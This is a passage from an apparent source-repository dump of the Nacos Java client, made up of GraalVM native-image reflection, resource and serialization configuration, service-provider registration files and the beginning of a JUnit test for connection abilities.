\"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.validation.validators.RequiredValidator\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.visitors.PluginAttributeVisitor\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.visitors.PluginBuilderAttributeVisitor\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.visitors.PluginConfigurationVisitor\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.visitors.PluginElementVisitor\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.visitors.PluginValueVisitor\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.properties.PropertiesConfigurationFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.xml.XmlConfigurationFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.yaml.YamlConfigurationFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.AbstractFilterable$Builder\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.BurstFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.CompositeFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.DenyAllFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.DynamicThresholdFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.LevelMatchFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.LevelRangeFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.MapFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.MarkerFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.NoMarkerFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.RegexFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.ScriptFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.StringMatchFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.StructuredDataFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.ThreadContextMapFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.ThresholdFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.filter.TimeFilter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.impl.Log4jContextFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.jmx.AppenderAdmin\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.jmx.AppenderAdminMBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.jmx.ContextSelectorAdmin\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.jmx.ContextSelectorAdminMBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.jmx.LoggerContextAdmin\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.jmx.StatusLoggerAdmin\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.jmx.StatusLoggerAdminMBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.CsvLogEventLayout\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.CsvParameterLayout\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.GelfLayout\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.HtmlLayout\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.JsonLayout\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.LevelPatternSelector\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.LoggerFields\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.MarkerPatternSelector\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.MessageLayout\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.PatternLayout\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newBuilder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.PatternLayout$Builder\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.PatternMatch\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.Rfc5424Layout\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.ScriptPatternSelector\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.SerializedLayout\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.SyslogLayout\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.XmlLayout\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.layout.YamlLayout\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.ContextMapLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.DateLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.EnvironmentLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.EventLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.JavaLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.JmxRuntimeInputArgumentsLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.JndiLookup\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.Log4jLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.LowerLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.MainMapLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.MapLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.MarkerLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.ResourceBundleLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.StructuredDataLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.SystemPropertiesLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.lookup.UpperLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.net.MulticastDnsAdvertiser\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.net.SocketAddress\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.net.SocketOptions\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.net.SocketPerformancePreferences\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.net.ssl.KeyStoreConfiguration\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.net.ssl.SslConfiguration\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.net.ssl.TrustStoreConfiguration\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Black\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Blue\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Cyan\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Green\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Magenta\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Red\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$White\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Yellow\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.ClassNamePatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.DatePatternConverter\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newInstance\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.EncodingPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.EndOfBatchPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.EqualsIgnoreCaseReplacementConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.EqualsReplacementConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.FileDatePatternConverter\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newInstance\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.FileLocationPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.FullLocationPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.HighlightConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.IntegerPatternConverter\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newInstance\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.LevelPatternConverter\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newInstance\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.LineLocationPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newInstance\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.LoggerFqcnPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.LoggerPatternConverter\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newInstance\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.MapPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.MarkerPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.MarkerSimpleNamePatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.MaxLengthConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.MdcPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.MessagePatternConverter\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newInstance\",\"parameterTypes\":[\"org.apache.logging.log4j.core.config.Configuration\",\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.MethodLocationPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.NanoTimePatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.NdcPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.ProcessIdPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.RegexReplacement\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.RegexReplacementConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.RelativeTimePatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.RepeatPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.RootThrowablePatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.SequenceNumberPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.StyleConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.ThreadIdPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newInstance\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.ThreadPriorityPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.ThrowablePatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.UuidPatternConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.pattern.VariablesNotEmptyReplacementConverter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.script.Script\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.script.ScriptFile\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.script.ScriptRef\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.util.ExecutorServices\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.util.KeyValuePair\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.message.DefaultFlowMessageFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.message.ReusableMessageFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.util.internal.DefaultObjectInputFilter\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"sun.management.ClassLoadingImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.CompilationImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.ManagementFactoryHelper$1\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.ManagementFactoryHelper$PlatformLoggingImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.MemoryImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.MemoryManagerImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.MemoryPoolImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.RuntimeImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.misc.Unsafe\",\n  \"allDeclaredFields\":true,\n  \"methods\":[\n    {\"name\":\"arrayBaseOffset\",\"parameterTypes\":[\"java.lang.Class\"] }, \n    {\"name\":\"arrayIndexScale\",\"parameterTypes\":[\"java.lang.Class\"] }, \n    {\"name\":\"copyMemory\",\"parameterTypes\":[\"long\",\"long\",\"long\"] }, \n    {\"name\":\"copyMemory\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"java.lang.Object\",\"long\",\"long\"] }, \n    {\"name\":\"getAndAddLong\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"long\"] }, \n    {\"name\":\"getAndSetObject\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"java.lang.Object\"] }, \n    {\"name\":\"getBoolean\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, \n    {\"name\":\"getByte\",\"parameterTypes\":[\"long\"] }, \n    {\"name\":\"getByte\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, \n    {\"name\":\"getDouble\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, \n    {\"name\":\"getFloat\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, \n    {\"name\":\"getInt\",\"parameterTypes\":[\"long\"] }, \n    {\"name\":\"getInt\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, \n    {\"name\":\"getLong\",\"parameterTypes\":[\"long\"] }, \n    {\"name\":\"getLong\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, \n    {\"name\":\"getObject\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, \n    {\"name\":\"invokeCleaner\",\"parameterTypes\":[\"java.nio.ByteBuffer\"] }, \n    {\"name\":\"objectFieldOffset\",\"parameterTypes\":[\"java.lang.reflect.Field\"] }, \n    {\"name\":\"putBoolean\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"boolean\"] }, \n    {\"name\":\"putByte\",\"parameterTypes\":[\"long\",\"byte\"] }, \n    {\"name\":\"putByte\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"byte\"] }, \n    {\"name\":\"putDouble\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"double\"] }, \n    {\"name\":\"putFloat\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"float\"] }, \n    {\"name\":\"putInt\",\"parameterTypes\":[\"long\",\"int\"] }, \n    {\"name\":\"putInt\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"int\"] }, \n    {\"name\":\"putLong\",\"parameterTypes\":[\"long\",\"long\"] }, \n    {\"name\":\"putLong\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"long\"] }, \n    {\"name\":\"putObject\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"java.lang.Object\"] }, \n    {\"name\":\"storeFence\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"sun.nio.ch.SelectorImpl\",\n  \"fields\":[\n    {\"name\":\"publicSelectedKeys\"}, \n    {\"name\":\"selectedKeys\"}\n  ]\n},\n{\n  \"name\":\"sun.reflect.ReflectionFactory\",\n  \"methods\":[\n    {\"name\":\"getReflectionFactory\",\"parameterTypes\":[] }, \n    {\"name\":\"newConstructorForSerialization\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.reflect.Constructor\"] }\n  ]\n},\n{\n  \"name\":\"sun.security.provider.DRBG\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.security.SecureRandomParameters\"] }]\n},\n{\n  \"name\":\"sun.security.provider.MD5\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.provider.SHA\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.provider.SHA2$SHA256\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n}\n]\n"
  },
  {
    "path": "client/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-client/resource-config.json",
    "content": "{\n  \"resources\":{\n  \"includes\":[\n    {\n      \"pattern\":\"\\\\QMETA-INF/org/apache/logging/log4j/core/config/plugins/Log4j2Plugins.dat\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.api.config.filter.IConfigFilter\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.api.remote.Payload\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.plugin.auth.spi.client.AbstractClientAuthService\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\QMETA-INF/services/com.oracle.truffle.api.TruffleLanguage$Provider\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\QMETA-INF/services/com.oracle.truffle.api.instrumentation.TruffleInstrument$Provider\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\QMETA-INF/services/io.grpc.LoadBalancerProvider\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\QMETA-INF/services/io.grpc.ManagedChannelProvider\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\QMETA-INF/services/io.grpc.NameResolverProvider\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\QMETA-INF/services/org.apache.logging.log4j.core.util.ContextDataProvider\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\QMETA-INF/services/org.apache.logging.log4j.spi.Provider\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\QMETA-INF/services/org.apache.logging.log4j.util.PropertySource\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Q\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Qcom/alibaba/nacos/client/logging/log4j2\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Qcom/oracle/truffle/nfi/backend/libffi/LibFFILanguage.class\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Qmockito-extensions/org.mockito.plugins.MemberAccessor\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Qmockito-extensions/org.mockito.plugins.MockMaker\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Qnacos-log4j2.xml\\\\E\"\n    },\n    {\n      \"pattern\":\"\\\\Qnacos-logback.xml\\\\E\"\n    },\n    {\n      \"pattern\":\"\\\\Qnacos-version.txt\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Qorg/mockito/internal/creation/bytebuddy/MockMethodAdvice$ForEquals.class\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Qorg/mockito/internal/creation/bytebuddy/MockMethodAdvice$ForHashCode.class\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Qorg/mockito/internal/creation/bytebuddy/MockMethodAdvice$ForStatic.class\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Qorg/mockito/internal/creation/bytebuddy/MockMethodAdvice.class\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Qorg/mockito/internal/creation/bytebuddy/inject/MockMethodDispatcher.raw\\\\E\"\n    }, \n    {\n      \"pattern\":\"\\\\Qorg/slf4j/impl/StaticLoggerBinder.class\\\\E\"\n    }\n  ]},\n  \"bundles\":[]\n}\n"
  },
  {
    "path": "client/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-client/serialization-config.json",
    "content": "{\n  \"types\":[\n    {\n      \"name\":\"com.alibaba.nacos.client.naming.event.InstancesChangeEvent\",\n      \"customTargetConstructorClass\":\"java.lang.Object\"\n    }\n  ],\n  \"lambdaCapturingTypes\":[\n  ],\n  \"proxies\":[\n  ]\n}\n"
  },
  {
    "path": "client/src/main/resources/META-INF/services/com.alibaba.nacos.api.config.filter.IConfigFilter",
    "content": "#\n# Copyright 1999-2018 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.client.config.filter.impl.ConfigEncryptionFilter"
  },
  {
    "path": "client/src/main/resources/META-INF/services/com.alibaba.nacos.client.naming.backups.FailoverDataSource",
    "content": "#\n#  Copyright 1999-2021 Alibaba Group Holding Ltd.\n#\n#  Licensed under the Apache License, Version 2.0 (the \"License\");\n#  you may not use this file except in compliance with the License.\n#  You may obtain a copy of the License at\n#\n#       http://www.apache.org/licenses/LICENSE-2.0\n#\n#  Unless required by applicable law or agreed to in writing, software\n#  distributed under the License is distributed on an \"AS IS\" BASIS,\n#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#  See the License for the specific language governing permissions and\n#  limitations under the License.\n#\n#\n\ncom.alibaba.nacos.client.naming.backups.datasource.DiskFailoverDataSource\n"
  },
  {
    "path": "client/src/main/resources/META-INF/services/com.alibaba.nacos.common.ability.AbstractAbilityControlManager",
    "content": "#\n#  Copyright 1999-2022 Alibaba Group Holding Ltd.\n#\n#  Licensed under the Apache License, Version 2.0 (the \"License\");\n#  you may not use this file except in compliance with the License.\n#  You may obtain a copy of the License at\n#\n#       http://www.apache.org/licenses/LICENSE-2.0\n#\n#  Unless required by applicable law or agreed to in writing, software\n#  distributed under the License is distributed on an \"AS IS\" BASIS,\n#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#  See the License for the specific language governing permissions and\n#  limitations under the License.\n#\n#\n\ncom.alibaba.nacos.client.ability.ClientAbilityControlManager"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ability/AbilityTest.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ability;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.RequestCallBack;\nimport com.alibaba.nacos.api.remote.RequestFuture;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.client.naming.remote.TestConnection;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.remote.client.RpcClientConfig;\nimport com.alibaba.nacos.common.remote.client.ServerListFactory;\nimport com.alibaba.nacos.common.remote.client.ServerRequestHandler;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass AbilityTest {\n    \n    private RpcClient rpcClient;\n    \n    private Connection connection;\n    \n    @Test\n    void testReceive() throws Exception {\n        rpcClient = new RpcClient(new RpcClientConfig() {\n            @Override\n            public String name() {\n                return \"test\";\n            }\n            \n            @Override\n            public int retryTimes() {\n                return 1;\n            }\n            \n            @Override\n            public long timeOutMills() {\n                return 3000L;\n            }\n            \n            @Override\n            public long connectionKeepAlive() {\n                return 5000L;\n            }\n            \n            @Override\n            public int healthCheckRetryTimes() {\n                return 1;\n            }\n            \n            @Override\n            public long healthCheckTimeOut() {\n                return 3000L;\n            }\n            \n            @Override\n            public Map<String, String> labels() {\n                return new HashMap<>();\n            }\n        }) {\n            \n            @Override\n            public ConnectionType getConnectionType() {\n                return null;\n            }\n            \n            @Override\n            public int rpcPortOffset() {\n                return 0;\n            }\n            \n            @Override\n            public Connection connectToServer(ServerInfo serverInfo) throws Exception {\n                connection = new Connection(new RpcClient.ServerInfo()) {\n                    \n                    {\n                        super.abilityTable = new HashMap<>();\n                        super.abilityTable.put(AbilityKey.SERVER_FUZZY_WATCH.getName(), true);\n                        super.abilityTable.put(AbilityKey.SERVER_DISTRIBUTED_LOCK.getName(), false);\n                    }\n                    \n                    @Override\n                    public Response request(Request request, long timeoutMills) throws NacosException {\n                        return null;\n                    }\n                    \n                    @Override\n                    public RequestFuture requestFuture(Request request) throws NacosException {\n                        return null;\n                    }\n                    \n                    @Override\n                    public void asyncRequest(Request request, RequestCallBack requestCallBack) throws NacosException {\n                    \n                    }\n                    \n                    @Override\n                    public void close() {\n                    \n                    }\n                };\n                ;\n                return connection;\n            }\n        };\n        rpcClient.start();\n        // test not ready\n        assertNull(rpcClient.getConnectionAbility(AbilityKey.SERVER_FUZZY_WATCH));\n        \n        // test 